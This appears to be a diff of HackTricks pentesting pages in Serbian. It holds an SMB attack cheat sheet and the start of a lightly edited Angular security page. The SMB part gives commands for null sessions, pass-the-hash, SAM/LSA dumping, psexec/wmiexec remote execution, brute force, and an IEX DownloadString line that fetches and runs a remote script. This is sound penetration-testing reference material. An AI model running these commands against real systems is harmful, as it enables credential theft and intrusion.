### Metasploit - Enumeracija lokalnih korisnika
|
||||
```bash
|
||||
use auxiliary/scanner/smb/smb_lookupsid
|
||||
set rhosts hostname.local
|
||||
run
|
||||
```
|
||||
### **Enumeracija LSARPC i SAMR rpcclient**
|
||||
|
||||
{{#ref}}
|
||||
pentesting-smb/rpcclient-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
### GUI konekcija sa linux-a
|
||||
|
||||
#### U terminalu:
|
||||
|
||||
`xdg-open smb://cascade.htb/`
|
||||
|
||||
#### U prozoru za pretragu fajlova (nautilus, thunar, itd)
|
||||
|
||||
`smb://friendzone.htb/general/`
|
||||
|
||||
## Enumeracija deljenih foldera
|
||||
|
||||
### Lista deljenih foldera
|
||||
|
||||
Uvek se preporučuje da proverite da li možete pristupiti bilo čemu, ako nemate kredencijale pokušajte koristiti **null** **kredencijale/gost korisnik**.
|
||||
```bash
|
||||
smbclient --no-pass -L //<IP> # Null user
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
|
||||
smbmap -H <IP> [-P <PORT>] #Null user
|
||||
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
|
||||
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
|
||||
|
||||
crackmapexec smb <IP> -u '' -p '' --shares #Null user
|
||||
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
|
||||
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
|
||||
```
|
||||
### **Povezivanje/Lista deljene fascikle**
|
||||
```bash
|
||||
#Connect using smbclient
|
||||
smbclient --no-pass //<IP>/<Folder>
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
|
||||
|
||||
#List with smbmap, without folder it list everything
|
||||
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
|
||||
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
||||
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||
```
|
||||
### **Ručno enumerisanje Windows deljenja i povezivanje na njih**
|
||||
|
||||
Može biti moguće da ste ograničeni u prikazivanju bilo kakvih deljenja host mašine i kada pokušate da ih navedete, čini se kao da ne postoje deljenja na koja se može povezati. Stoga bi moglo biti korisno pokušati ručno povezivanje na deljenje. Da biste ručno enumerisali deljenja, možda biste želeli da tražite odgovore poput NT_STATUS_ACCESS_DENIED i NT_STATUS_BAD_NETWORK_NAME, kada koristite važeću sesiju (npr. null sesija ili važeće akreditive). Ovi odgovori mogu ukazivati na to da li deljenje postoji i nemate pristup ili deljenje uopšte ne postoji.
|
||||
|
||||
Uobičajena imena deljenja za Windows ciljeve su
|
||||
|
||||
- C$
|
||||
- D$
|
||||
- ADMIN$
|
||||
- IPC$
|
||||
- PRINT$
|
||||
- FAX$
|
||||
- SYSVOL
|
||||
- NETLOGON
|
||||
|
||||
(Uobičajena imena deljenja iz _**Network Security Assessment 3rd edition**_)
|
||||
|
||||
Možete pokušati da se povežete na njih koristeći sledeću komandu
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||
```
|
||||
ili ovaj skript (koristeći null sesiju)
|
||||
```bash
|
||||
#/bin/bash
|
||||
|
||||
ip='<TARGET-IP-HERE>'
|
||||
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
|
||||
|
||||
for share in ${shares[*]}; do
|
||||
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
|
||||
|
||||
if [[ -z $output ]]; then
|
||||
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
|
||||
else
|
||||
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
|
||||
fi
|
||||
done
|
||||
```
|
||||
primjeri
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
```
|
||||
### **Enumerirajte deljenja sa Windows / bez alata trećih strana**
|
||||
|
||||
PowerShell
|
||||
```bash
|
||||
# Retrieves the SMB shares on the locale computer.
|
||||
Get-SmbShare
|
||||
Get-WmiObject -Class Win32_Share
|
||||
# Retrieves the SMB shares on a remote computer.
|
||||
get-smbshare -CimSession "<computer name or session object>"
|
||||
# Retrieves the connections established from the local SMB client to the SMB servers.
|
||||
Get-SmbConnection
|
||||
```
|
||||
CMD konzola
|
||||
```shell
|
||||
# List shares on the local computer
|
||||
net share
|
||||
# List shares on a remote computer (including hidden ones)
|
||||
net view \\<ip> /all
|
||||
```
|
||||
MMC Snap-in (grafički)
|
||||
```shell
|
||||
# Shared Folders: Shared Folders > Shares
|
||||
fsmgmt.msc
|
||||
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
||||
compmgmt.msc
|
||||
```
|
||||
explorer.exe (grafički), unesite `\\<ip>\` da biste videli dostupne ne skrivene deljene foldere.
|
||||
|
||||
### Montirajte deljeni folder
|
||||
```bash
|
||||
mount -t cifs //x.x.x.x/share /mnt/share
|
||||
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||
```
|
||||
### **Preuzmite datoteke**
|
||||
|
||||
Pročitajte prethodne odeljke da biste saznali kako se povezati sa kredencijalima/Pass-the-Hash.
|
||||
```bash
|
||||
#Search a file and download
|
||||
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||||
```
|
||||
|
||||
```bash
|
||||
#Download all
|
||||
smbclient //<IP>/<share>
|
||||
> mask ""
|
||||
> recurse
|
||||
> prompt
|
||||
> mget *
|
||||
#Download everything to current directory
|
||||
```
|
||||
Commands:
|
||||
|
||||
- mask: specificira masku koja se koristi za filtriranje fajlova unutar direktorijuma (npr. "" za sve fajlove)
|
||||
- recurse: uključuje rekurziju (podrazumevano: isključeno)
|
||||
- prompt: isključuje traženje imena fajlova (podrazumevano: uključeno)
|
||||
- mget: kopira sve fajlove koji odgovaraju maski sa hosta na klijentsku mašinu
|
||||
|
||||
(_Informacije iz man stranice smbclient-a_)
|
||||
|
||||
### Pretraga deljenih foldera domena
|
||||
|
||||
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
|
||||
```bash
|
||||
Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```
|
||||
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) pauk.
|
||||
- `-M spider_plus [--share <share_name>]`
|
||||
- `--pattern txt`
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
Posebno zanimljivi su fajlovi nazvani **`Registry.xml`** jer **mogu sadržati lozinke** za korisnike podešene sa **autologon** putem Grupske politike. Takođe, **`web.config`** fajlovi sadrže akreditive.
|
||||
|
||||
- [**PowerHuntShares**](https://github.com/NetSPI/PowerHuntShares)
|
||||
- `IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")`
|
||||
- `Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test`
|
||||
|
||||
> [!NOTE]
|
||||
> **SYSVOL share** je **čitljiv** za sve autentifikovane korisnike u domenu. Tamo možete **pronaći** mnoge različite batch, VBScript i PowerShell **skripte**.\
|
||||
> Trebalo bi da **proverite** **skripte** unutar njega jer možete **pronaći** osetljive informacije kao što su **lozinke**.
|
||||
|
||||
## Čitanje registra
|
||||
|
||||
Možda ćete moći da **pročitate registar** koristeći neke otkrivene akreditive. Impacket **`reg.py`** vam omogućava da probate:
|
||||
```bash
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
|
||||
```
|
||||
## Post Exploitation
|
||||
|
||||
**Podrazumevana konfiguracija** **Samba** servera se obično nalazi u `/etc/samba/smb.conf` i može imati neke **opasne konfiguracije**:
|
||||
|
||||
| **Podešavanje** | **Opis** |
|
||||
| -------------------------- | ------------------------------------------------------------------- |
|
||||
| `browseable = yes` | Dozvoliti listanje dostupnih deljenja u trenutnom deljenju? |
|
||||
| `read only = no` | Zabraniti kreiranje i modifikaciju fajlova? |
|
||||
| `writable = yes` | Dozvoliti korisnicima da kreiraju i modifikuju fajlove? |
|
||||
| `guest ok = yes` | Dozvoliti povezivanje na servis bez korišćenja lozinke? |
|
||||
| `enable privileges = yes` | Poštovati privilegije dodeljene specifičnom SID-u? |
|
||||
| `create mask = 0777` | Koje dozvole moraju biti dodeljene novokreiranim fajlovima? |
|
||||
| `directory mask = 0777` | Koje dozvole moraju biti dodeljene novokreiranim direktorijumima? |
|
||||
| `logon script = script.sh`| Koji skript treba da se izvrši prilikom prijavljivanja korisnika? |
|
||||
| `magic script = script.sh`| Koji skript treba da se izvrši kada se skript zatvori? |
|
||||
| `magic output = script.out`| Gde treba da se sačuva izlaz magičnog skripta? |
|
||||
|
||||
Komanda `smbstatus` daje informacije o **serveru** i o **tome ko je povezan**.
|
||||
|
||||
## Authenticate using Kerberos
|
||||
|
||||
Možete **autentifikovati** na **kerberos** koristeći alate **smbclient** i **rpcclient**:
|
||||
```bash
|
||||
smbclient --kerberos //ws01win10.domain.com/C$
|
||||
rpcclient -k ws01win10.domain.com
|
||||
```
|
||||
## **Izvršavanje komandi**
|
||||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexec može izvršavati komande **zloupotrebljavajući** bilo koji od **mmcexec, smbexec, atexec, wmiexec**, pri čemu je **wmiexec** **podrazumevani** metod. Možete naznačiti koju opciju preferirate da koristite sa parametrima `--exec-method`:
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
|
||||
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
|
||||
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
|
||||
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
|
||||
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
|
||||
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
|
||||
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
```
|
||||
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
|
||||
|
||||
Obe opcije će **napraviti novu uslugu** (koristeći _\pipe\svcctl_ putem SMB) na žrtvinom računaru i koristiti je da **izvrši nešto** (**psexec** će **otpremiti** izvršni fajl na ADMIN$ deljenje, a **smbexec** će se usmeriti na **cmd.exe/powershell.exe** i staviti u argumente payload --**file-less technique-**-).\
|
||||
**Više informacija** o [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md) i [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
|
||||
U **kali** se nalazi na /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./psexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||||
```
|
||||
Koristeći **parameter**`-k` možete se autentifikovati protiv **kerberos** umesto **NTLM**
|
||||
|
||||
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
|
||||
|
||||
Tajno izvršite komandnu ljusku bez dodirivanja diska ili pokretanja nove usluge koristeći DCOM preko **porta 135.**\
|
||||
U **kali** se nalazi na /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
|
||||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
```
|
||||
Koristeći **parameter** `-k`, možete se autentifikovati protiv **kerberos** umesto **NTLM**.
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
```
|
||||
### [AtExec](../windows-hardening/ntlm/atexec.md)
|
||||
|
||||
Izvršite komande putem Task Scheduler-a (koristeći _\pipe\atsvc_ preko SMB-a).\
|
||||
U **kali** se nalazi na /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||||
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||||
```
|
||||
## Impacket reference
|
||||
|
||||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||||
|
||||
## **Bruteforce korisničkih akreditiva**
|
||||
|
||||
**Ovo se ne preporučuje, mogli biste blokirati nalog ako premašite maksimalan dozvoljeni broj pokušaja**
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||||
```
|
||||
## SMB relay attack
|
||||
|
||||
Ovaj napad koristi Responder alat za **hvatanje SMB autentifikacionih sesija** na internom mreži, i **preusmerava** ih na **ciljnu mašinu**. Ako je autentifikacija **sesija uspešna**, automatski ćete biti prebačeni u **sistem** **shell**.\
|
||||
[**Više informacija o ovom napadu ovde.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Trap
|
||||
|
||||
Windows biblioteka URLMon.dll automatski pokušava da se autentifikuje na host kada stranica pokušava da pristupi nekom sadržaju putem SMB, na primer: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
|
||||
To se dešava sa funkcijama:
|
||||
|
||||
- URLDownloadToFile
|
||||
- URLDownloadToCache
|
||||
- URLOpenStream
|
||||
- URLOpenBlockingStream
|
||||
|
||||
Koje koriste neki pregledači i alati (kao što je Skype)
|
||||
|
||||
.png>)
|
||||
|
||||
### SMBTrap using MitMf
|
||||
|
||||
.png>)
|
||||
|
||||
## NTLM Theft
|
||||
|
||||
Slično SMB Trapping-u, postavljanje zlonamernih fajlova na ciljni sistem (putem SMB, na primer) može izazvati pokušaj SMB autentifikacije, omogućavajući da se NetNTLMv2 hash presretne pomoću alata kao što je Responder. Hash se zatim može razbiti offline ili koristiti u [SMB relay attack](pentesting-smb.md#smb-relay-attack).
|
||||
|
||||
[See: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: SMB #Protocol Abbreviation if there is one.
|
||||
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||||
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
|
||||
|
||||
Entry_1:
|
||||
Name: Notes
|
||||
Description: Notes for SMB
|
||||
Note: |
|
||||
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
|
||||
|
||||
#These are the commands I run in order every time I see an open SMB port
|
||||
|
||||
With No Creds
|
||||
nbtscan {IP}
|
||||
smbmap -H {IP}
|
||||
smbmap -H {IP} -u null -p null
|
||||
smbmap -H {IP} -u guest
|
||||
smbclient -N -L //{IP}
|
||||
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
|
||||
rpcclient {IP}
|
||||
rpcclient -U "" {IP}
|
||||
crackmapexec smb {IP}
|
||||
crackmapexec smb {IP} --pass-pol -u "" -p ""
|
||||
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
|
||||
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
|
||||
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
|
||||
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
|
||||
getArch.py -target {IP}
|
||||
|
||||
With Creds
|
||||
smbmap -H {IP} -u {Username} -p {Password}
|
||||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
|
||||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
||||
crackmapexec smb {IP} -u {Username} -p {Password} --shares
|
||||
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
|
||||
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
|
||||
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
|
||||
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
|
||||
|
||||
Entry_2:
|
||||
Name: Enum4Linux
|
||||
Description: General SMB Scan
|
||||
Command: enum4linux -a {IP}
|
||||
|
||||
Entry_3:
|
||||
Name: Nmap SMB Scan 1
|
||||
Description: SMB Vuln Scan With Nmap
|
||||
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
|
||||
|
||||
Entry_4:
|
||||
Name: Nmap Smb Scan 2
|
||||
Description: SMB Vuln Scan With Nmap (Less Specific)
|
||||
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
|
||||
|
||||
Entry_5:
|
||||
Name: Hydra Brute Force
|
||||
Description: Need User
|
||||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
|
||||
|
||||
Entry_6:
|
||||
Name: SMB/SMB2 139/445 consolesless mfs enumeration
|
||||
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
|
||||
Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
|
||||
|
||||
```
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,16 +1,18 @@
|
||||
# Angular
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## The Checklist
|
||||
|
||||
Checklist [from here](https://lsgeurope.com/post/angular-security-checklist).
|
||||
|
||||
* [ ] Angular se smatra framework-om sa strane klijenta i ne očekuje se da pruža zaštitu sa strane servera
|
||||
* [ ] Sourcemap za skripte je onemogućen u konfiguraciji projekta
|
||||
* [ ] Nepoverljivi korisnički unos se uvek interpolira ili sanitizuje pre nego što se koristi u šablonima
|
||||
* [ ] Nepouzdani korisnički unos se uvek interpolira ili sanitizuje pre nego što se koristi u šablonima
|
||||
* [ ] Korisnik nema kontrolu nad šablonima sa strane servera ili klijenta
|
||||
* [ ] Nepoverljivi korisnički unos se sanitizuje koristeći odgovarajući bezbednosni kontekst pre nego što ga aplikacija smatra pouzdanim
|
||||
* [ ] Nepouzdani korisnički unos se sanitizuje koristeći odgovarajući bezbednosni kontekst pre nego što ga aplikacija smatra pouzdanim
|
||||
* [ ] `BypassSecurity*` metode se ne koriste sa nepouzdanim unosom
|
||||
* [ ] Nepoverljivi korisnički unos se ne prosleđuje Angular klasama kao što su `ElementRef`, `Renderer2` i `Document`, ili drugim JQuery/DOM odredištima
|
||||
* [ ] Nepouzdani korisnički unos se ne prosleđuje Angular klasama kao što su `ElementRef`, `Renderer2` i `Document`, ili drugim JQuery/DOM odredištima
|
||||
|
||||
## What is Angular
|
||||
|
||||
@ -39,17 +41,17 @@ my-workspace/
|
||||
├── angular.json #provides workspace-wide and project-specific configuration defaults
|
||||
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
|
||||
```
|
||||
Prema dokumentaciji, svaka Angular aplikacija ima barem jednu komponentu, korensku komponentu (`AppComponent`) koja povezuje hijerarhiju komponenti sa DOM-om. Svaka komponenta definiše klasu koja sadrži podatke i logiku aplikacije, i povezana je sa HTML šablonom koji definiše prikaz koji će biti prikazan u ciljanom okruženju. Dekorator `@Component()` identifikuje klasu odmah ispod njega kao komponentu, i pruža šablon i povezane metapodatke specifične za komponentu. `AppComponent` je definisan u `app.component.ts` datoteci.
|
||||
Prema dokumentaciji, svaka Angular aplikacija ima najmanje jednu komponentu, korensku komponentu (`AppComponent`) koja povezuje hijerarhiju komponenti sa DOM-om. Svaka komponenta definiše klasu koja sadrži podatke i logiku aplikacije, i povezana je sa HTML šablonom koji definiše prikaz koji će biti prikazan u ciljanom okruženju. Dekorator `@Component()` identifikuje klasu odmah ispod njega kao komponentu, i pruža šablon i povezane metapodatke specifične za komponentu. `AppComponent` je definisan u `app.component.ts` datoteci.
|
||||
|
||||
Angular NgModules deklariraju kontekst kompilacije za skup komponenti koji je posvećen domenu aplikacije, radnom toku ili usko povezanoj grupi sposobnosti. Svaka Angular aplikacija ima korenski modul, konvencionalno nazvan `AppModule`, koji pruža mehanizam za pokretanje koji pokreće aplikaciju. Aplikacija obično sadrži mnoge funkcionalne module. `AppModule` je definisan u `app.module.ts` datoteci.
|
||||
Angular NgModules deklariraju kontekst kompilacije za skup komponenti koji je posvećen domeni aplikacije, radnom toku ili usko povezanim skupovima mogućnosti. Svaka Angular aplikacija ima korenski modul, konvencionalno nazvan `AppModule`, koji pruža mehanizam za pokretanje koji pokreće aplikaciju. Aplikacija obično sadrži mnoge funkcionalne module. `AppModule` je definisan u `app.module.ts` datoteci.
|
||||
|
||||
Angular `Router` NgModule pruža uslugu koja vam omogućava da definišete navigacioni put među različitim stanjima aplikacije i hijerarhijama prikaza u vašoj aplikaciji. `RouterModule` je definisan u `app-routing.module.ts` datoteci.
|
||||
|
||||
Za podatke ili logiku koja nije povezana sa specifičnim prikazom, i koju želite da delite među komponentama, kreirate klasu usluge. Definicija klase usluge odmah prethodi dekoratoru `@Injectable()`. Dekorator pruža metapodatke koji omogućavaju drugim provajderima da budu injektovani kao zavisnosti u vašu klasu. Injekcija zavisnosti (DI) vam omogućava da zadržite klase komponenti vitkim i efikasnim. One ne preuzimaju podatke sa servera, ne validiraju korisnički unos, niti direktno beleže u konzolu; delegiraju takve zadatke uslugama.
|
||||
Za podatke ili logiku koja nije povezana sa specifičnim prikazom, a koju želite da delite među komponentama, kreirate klasu usluge. Definicija klase usluge odmah prethodi dekoratoru `@Injectable()`. Dekorator pruža metapodatke koji omogućavaju drugim provajderima da budu injektovani kao zavisnosti u vašu klasu. Injekcija zavisnosti (DI) vam omogućava da zadržite klase komponenti vitkim i efikasnim. One ne preuzimaju podatke sa servera, ne validiraju korisnički unos, niti direktno beleže u konzolu; one delegiraju takve zadatke uslugama.
|
||||
|
||||
## Konfiguracija sourcemapa
|
||||
|
||||
Angular okvir prevodi TypeScript datoteke u JavaScript kod prateći `tsconfig.json` opcije i zatim gradi projekat sa `angular.json` konfiguracijom. Gledajući `angular.json` datoteku, primetili smo opciju za omogućavanje ili onemogućavanje sourcemapa. Prema Angular dokumentaciji, podrazumevana konfiguracija ima sourcemap datoteku omogućenu za skripte i nije skrivena po defaultu:
|
||||
Angular okvir prevodi TypeScript datoteke u JavaScript kod prateći opcije iz `tsconfig.json` i zatim gradi projekat sa `angular.json` konfiguracijom. Gledajući `angular.json` datoteku, primetili smo opciju za omogućavanje ili onemogućavanje sourcemapa. Prema Angular dokumentaciji, podrazumevana konfiguracija ima datoteku sourcemapa omogućenu za skripte i nije skrivena po defaultu:
|
||||
```json
|
||||
"sourceMap": {
|
||||
"scripts": true,
|
||||
@ -58,9 +60,9 @@ Angular okvir prevodi TypeScript datoteke u JavaScript kod prateći `tsconfig.js
|
||||
"hidden": false
|
||||
}
|
||||
```
|
||||
Generalno, sourcemap datoteke se koriste za svrhe debagovanja jer mapiraju generisane datoteke na njihove originalne datoteke. Stoga, nije preporučljivo koristiti ih u produkcionom okruženju. Ako su sourcemaps omogućeni, poboljšava se čitljivost i pomaže u analizi datoteka replicirajući originalno stanje Angular projekta. Međutim, ako su onemogućeni, recenzent može i dalje ručno analizirati kompajliranu JavaScript datoteku pretražujući anti-bezbednosne obrasce.
|
||||
Generalno, sourcemap datoteke se koriste za svrhe debagovanja jer mapiraju generisane datoteke na njihove originalne datoteke. Stoga, nije preporučljivo koristiti ih u produkcionom okruženju. Ako su sourcemaps omogućeni, poboljšava se čitljivost i pomaže u analizi datoteka replicirajući originalno stanje Angular projekta. Međutim, ako su onemogućeni, recenzent može ručno analizirati kompajliranu JavaScript datoteku pretražujući anti-bezbednosne obrasce.
|
||||
|
||||
Pored toga, kompajlirana JavaScript datoteka sa Angular projektom može se pronaći u alatima za razvoj preglednika → Sources (ili Debugger i Sources) → \[id].main.js. U zavisnosti od omogućenih opcija, ova datoteka može sadržati sledeći red na kraju `//# sourceMappingURL=[id].main.js.map` ili možda neće, ako je opcija **hidden** postavljena na **true**. Ipak, ako je sourcemap onemogućen za **scripts**, testiranje postaje složenije i ne možemo dobiti datoteku. Pored toga, sourcemap može biti omogućen tokom izgradnje projekta kao `ng build --source-map`.
|
||||
Pored toga, kompajlirana JavaScript datoteka sa Angular projektom može se pronaći u alatima za razvoj u pretraživaču → Sources (ili Debugger i Sources) → \[id].main.js. U zavisnosti od omogućenih opcija, ova datoteka može sadržati sledeći red na kraju `//# sourceMappingURL=[id].main.js.map` ili možda neće, ako je opcija **hidden** postavljena na **true**. Ipak, ako je sourcemap onemogućen za **scripts**, testiranje postaje složenije i ne možemo dobiti datoteku. Pored toga, sourcemap može biti omogućen tokom izgradnje projekta kao `ng build --source-map`.
|
||||
|
||||
## Data binding
|
||||
|
||||
@ -78,10 +80,10 @@ Binding se može pozvati na svojstvima, događajima i atributima, kao i na bilo
|
||||
| --------- | ------------------------------------------------------- | ------------------------------------------------------------------- |
|
||||
| Svojstvo | Svojstvo elementa, Svojstvo komponente, Svojstvo direktive | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
|
||||
| Događaj | Događaj elementa, Događaj komponente, Događaj direktive | \<button type="button" (click)="onSave()">Save |
|
||||
| Dvosmerno | Događaj i svojstvo | \<input \[(ngModel)]="name"> |
|
||||
| Atribut | Atribut (izuzetak) | \<button type="button" \[attr.aria-label]="help">help |
|
||||
| Klasa | svojstvo klase | \<div \[class.special]="isSpecial">Special |
|
||||
| Stil | svojstvo stila | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
|
||||
| Dvosmerno | Događaj i svojstvo | \<input \[(ngModel)]="name"> |
|
||||
| Atribut | Atribut (izuzetak) | \<button type="button" \[attr.aria-label]="help">help |
|
||||
| Klasa | svojstvo klase | \<div \[class.special]="isSpecial">Special |
|
||||
